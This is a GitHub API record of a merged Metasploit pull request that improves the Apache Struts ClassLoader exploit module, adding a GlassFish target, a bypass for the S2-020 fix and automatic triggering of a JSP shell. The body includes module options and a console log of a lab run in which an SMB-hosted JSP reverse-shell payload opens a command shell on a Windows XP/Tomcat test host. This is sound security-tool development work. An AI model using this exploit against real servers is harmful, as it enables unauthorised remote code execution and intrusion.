{"action":"closed","number":4890,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4890","id":30708235,"html_url":"https://github.com/rapid7/metasploit-framework/pull/4890","diff_url":"https://github.com/rapid7/metasploit-framework/pull/4890.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/4890.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4890","number":4890,"state":"closed","locked":false,"title":"Add improvements for docBase exploitation vector","user":{"login":"julianvilas","id":3331668,"avatar_url":"https://avatars.githubusercontent.com/u/3331668?v=3","gravatar_id":"","url":"https://api.github.com/users/julianvilas","html_url":"https://github.com/julianvilas","followers_url":"https://api.github.com/users/julianvilas/followers","following_url":"https://api.github.com/users/julianvilas/following{/other_user}","gists_url":"https://api.github.com/users/julianvilas/gists{/gist_id}","starred_url":"https://api.github.com/users/julianvilas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julianvilas/subscriptions","organizations_url":"https://api.github.com/users/julianvilas/orgs","repos_url":"https://api.github.com/users/julianvilas/repos","events_url":"https://api.github.com/users/julianvilas/events{/privacy}","received_events_url":"https://api.github.com/users/julianvilas/received_events","type":"User","site_admin":false},"body":"Added the following improvements to the module:\r\n* Added GlassFish app server as a target\r\n* Added bypass for S2-020 (fixed in S2-021)\r\n* Make UNC resource (share, file name and file folder) random but using \".jsp\" extension\r\n* Added auto-triggering of the JSP shell\r\n\r\nTesting env:\r\n* rev: a13cd2bcb7d41ddf099ceb6ab93c4d6a67dd3f5b\r\n* Windows XP\r\n* Tomcat 7.0.59\r\n\r\n```\r\nmsf exploit(struts_code_exec_classloader) > show options\r\n\r\nModule options (exploit/multi/http/struts_code_exec_classloader):\r\n\r\n   Name            Current Setting            Required  Description\r\n   ----            ---------------            --------  -----------\r\n   Proxies                                    no        A proxy chain of format type:host:port[,type:host:port][...]\r\n   RHOST           172.17.1.63                yes       The target address\r\n   RPORT           8080                       yes       The target port\r\n   SMB_DELAY       10                         yes       Time that the SMB Server will wait for the payload request\r\n   SRVHOST         0.0.0.0                    yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0\r\n   SRVPORT         445                        yes       The local port to listen on.\r\n   STRUTS_VERSION  2.x                        yes       Apache Struts Framework version (accepted: 1.x, 2.x)\r\n   TARGETURI       /hello_world/hello.action  yes       The path to a struts application action\r\n   VHOST                                      no        HTTP server virtual host\r\n\r\n\r\nPayload options (java/jsp_shell_reverse_tcp):\r\n\r\n   Name   Current Setting  Required  Description\r\n   ----   ---------------  --------  -----------\r\n   LHOST  172.17.1.3       yes       The listen address\r\n   LPORT  4444             yes       The listen port\r\n   SHELL                   no        The system shell to use.\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   3   Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)\r\n``` \r\n\r\n```\r\nmsf exploit(struts_code_exec_classloader) > rexploit \r\n[*] Reloading module...\r\n\r\n[*] Started reverse handler on 172.17.1.3:4444 \r\n[*] Server started.\r\n[*] JSP payload available on \\\\172.16.218.197\\bnekdX\\crNveL.jsp...\r\n[*] 172.17.1.63:8080 - Modifying Class Loader...\r\n[*] 172.17.1.63:8080 - Accessing JSP shell at /hello_world/crNveL.jsp...\r\n[*] Command shell session 1 opened (172.17.1.3:4444 -> 172.17.1.63:3545) at 2015-03-07 20:37:20 +0100\r\n[*] Server stopped.\r\n\r\nMicrosoft Windows XP [Versi�n 5.1.2600]\r\n(C) Copyright 1985-2001 Microsoft Corp.\r\n\r\nC:\\Documents and Settings\\test>\r\n```","created_at":"2015-03-07T19:51:55Z","updated_at":"2015-03-12T22:25:57Z","closed_at":"2015-03-12T22:25:57Z","merged_at":"2015-03-12T22:25:57Z","merge_commit_sha":"94ac64071aa4235c791ec458699870c8bf01de37","assignee":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4890/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4890/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4890/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/fe822f8d33697a220d33283f3b4a75b7d097d0fb","head":{"label":"julianvilas:redsadic-smbtrigger","ref":"redsadic-smbtrigger","sha":"fe822f8d33697a220d33283f3b4a75b7d097d0fb","user":{"login":"julianvilas","id":3331668,"avatar_url":"https://avatars.githubusercontent.com/u/3331668?v=3","gravatar_id":"","url":"https://api.github.com/users/julianvilas","html_url":"https://github.com/julianvilas","followers_url":"https://api.github.com/users/julianvilas/followers","following_url":"https://api.github.com/users/julianvilas/following{/other_user}","gists_url":"https://api.github.com/users/julianvilas/gists{/gist_id}","starred_url":"https://api.github.com/users/julianvilas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julianvilas/subscriptions","organizations_url":"https://api.github.com/users/julianvilas/orgs","repos_url":"https://api.github.com/users/julianvilas/repos","events_url":"https://api.github.com/users/julianvilas/events{/privacy}","received_events_url":"https://api.github.com/users/julianvilas/received_events","type":"User","site_admin":false},"repo":{"id":7738550,"name":"metasploit-framework","full_name":"julianvilas/metasploit-framework","owner":{"login":"julianvilas","id":3331668,"avatar_url":"https://avatars.githubusercontent.com/u/3331668?v=3","gravatar_id":"","url":"https://api.github.com/users/julianvilas","html_url":"https://github.com/julianvilas","followers_url":"https://api.github.com/users/julianvilas/followers","following_url":"https://api.github.com/users/julianvilas/following{/other_user}","gists_url":"https://api.github.com/users/julianvilas/gists{/gist_id}","starred_url":"https://api.github.com/users/julianvilas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julianvilas/subscriptions","organizations_url":"https://api.github.com/users/julianvilas/orgs","repos_url":"https://api.github.com/users/julianvilas/repos","events_url":"https://api.github.com/users/julianvilas/events{/privacy}","received_events_url":"https://api.github.com/users/julianvilas/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/julianvilas/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/julianvilas/metasploit-framework","forks_url":"https://api.github.com/repos/julianvilas/metasploit-framework/forks","keys_url":"https://api.github.com/repos/julianvilas/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/julianvilas/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/julianvilas/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/julianvilas/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/julianvilas/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/julianvilas/metasploit-framework/events","assignees_url":"https://api.github.com/repos/julianvilas/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/julianvilas/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/julianvilas/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/julianvilas/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/julianvilas/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/julianvilas/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/julianvilas/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/julianvilas/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/julianvilas/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/julianvilas/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/julianvilas/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/julianvilas/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/julianvilas/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/julianvilas/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/julianvilas/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/julianvilas/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/julianvilas/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/julianvilas/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/julianvilas/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/julianvilas/metasploit-framework/merges","archive_url":"https://api.github.com/repos/julianvilas/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/julianvilas/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/julianvilas/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/julianvilas/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/julianvilas/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/julianvilas/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/julianvilas/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/julianvilas/metasploit-framework/releases{/id}","created_at":"2013-01-21T19:13:41Z","updated_at":"2015-03-07T17:41:13Z","pushed_at":"2015-03-09T23:45:45Z","git_url":"git://github.com/julianvilas/metasploit-framework.git","ssh_url":"git@github.com:julianvilas/metasploit-framework.git","clone_url":"https://github.com/julianvilas/metasploit-framework.git","svn_url":"https://github.com/julianvilas/metasploit-framework","homepage":"http://www.metasploit.com/","size":312491,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"a13cd2bcb7d41ddf099ceb6ab93c4d6a67dd3f5b","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-03-12T22:25:54Z","pushed_at":"2015-03-12T22:25:54Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1035396,"stargazers_count":3457,"watchers_count":3457,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":2869,"mirror_url":null,"open_issues_count":187,"forks":2869,"open_issues":187,"watchers":3457,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4890"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4890"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4890"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4890/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4890/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4890/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/fe822f8d33697a220d33283f3b4a75b7d097d0fb"}},"merged":true,"mergeable":null,"mergeable_state":"unknown","merged_by":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"comments":4,"review_comments":6,"commits":4,"additions":20,"deletions":24,"changed_files":1}}